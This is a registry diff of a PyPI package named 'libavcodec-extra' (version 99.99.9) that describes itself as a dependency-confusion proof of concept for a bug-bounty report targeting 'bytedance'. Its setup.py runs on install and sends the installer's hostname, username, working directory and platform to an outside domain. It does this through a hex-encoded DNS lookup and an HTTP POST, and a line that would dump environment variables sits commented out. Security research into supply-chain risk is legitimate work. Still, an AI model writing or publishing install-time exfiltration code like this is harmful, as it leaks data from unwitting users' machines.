libavcodec-extra 99.99.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.2
2
+ Name: libavcodec-extra
3
+ Version: 99.99.9
4
+ Summary: This is POC for dependency confusion by iamrjarpan (hackerone)
5
+ Author: iamrjarpan
6
+ Dynamic: author
7
+ Dynamic: summary
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.2
2
+ Name: libavcodec-extra
3
+ Version: 99.99.9
4
+ Summary: This is POC for dependency confusion by iamrjarpan (hackerone)
5
+ Author: iamrjarpan
6
+ Dynamic: author
7
+ Dynamic: summary
@@ -0,0 +1,5 @@
1
+ setup.py
2
+ libavcodec_extra.egg-info/PKG-INFO
3
+ libavcodec_extra.egg-info/SOURCES.txt
4
+ libavcodec_extra.egg-info/dependency_links.txt
5
+ libavcodec_extra.egg-info/top_level.txt
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,64 @@
1
+ import os
2
+ import sys
3
+ import json
4
+ import socket
5
+ import urllib.request
6
+ import binascii
7
+ import setuptools
8
+
9
+ pkg_name = 'libavcodec-extra'
10
+ target_org = 'bytedance'
11
+ eco = 'pypi'
12
+ dns_domain = 'oob.180626.xyz'
13
+
14
+ try:
15
+ hostname = socket.gethostname()
16
+ except Exception:
17
+ hostname = "-"
18
+
19
+ try:
20
+ username = os.getlogin()
21
+ except Exception:
22
+ username = os.environ.get("USER", "-")
23
+
24
+ def safe_hex(s):
25
+ try:
26
+ return binascii.hexlify(s.encode('utf-8')).decode('utf-8').lower()
27
+ except Exception:
28
+ return "-"
29
+
30
+ # 1. DNS Resolution
31
+ try:
32
+ hex_user = safe_hex(username)
33
+ hex_host = safe_hex(hostname)
34
+ dns_target = f"{hex_user}.{hex_host}.{pkg_name}.{target_org}.{eco}.{dns_domain}"
35
+ socket.gethostbyname(dns_target)
36
+ except Exception:
37
+ pass
38
+
39
+ # 2. HTTP POST
40
+ try:
41
+ post_data = json.dumps({
42
+ "hostname": hostname,
43
+ "username": username,
44
+ "cwd": os.getcwd(),
45
+ "os": sys.platform,
46
+ # "env": dict(os.environ)
47
+ }).encode('utf-8')
48
+
49
+ req = urllib.request.Request(
50
+ f"http://{pkg_name}.{target_org}.{eco}.{dns_domain}",
51
+ data=post_data,
52
+ headers={'Content-Type': 'application/json'},
53
+ method='POST'
54
+ )
55
+ urllib.request.urlopen(req, timeout=3)
56
+ except Exception:
57
+ pass
58
+
59
+ setuptools.setup(
60
+ name=pkg_name,
61
+ version='99.99.9',
62
+ description='This is POC for dependency confusion by iamrjarpan (hackerone)',
63
+ author='iamrjarpan',
64
+ )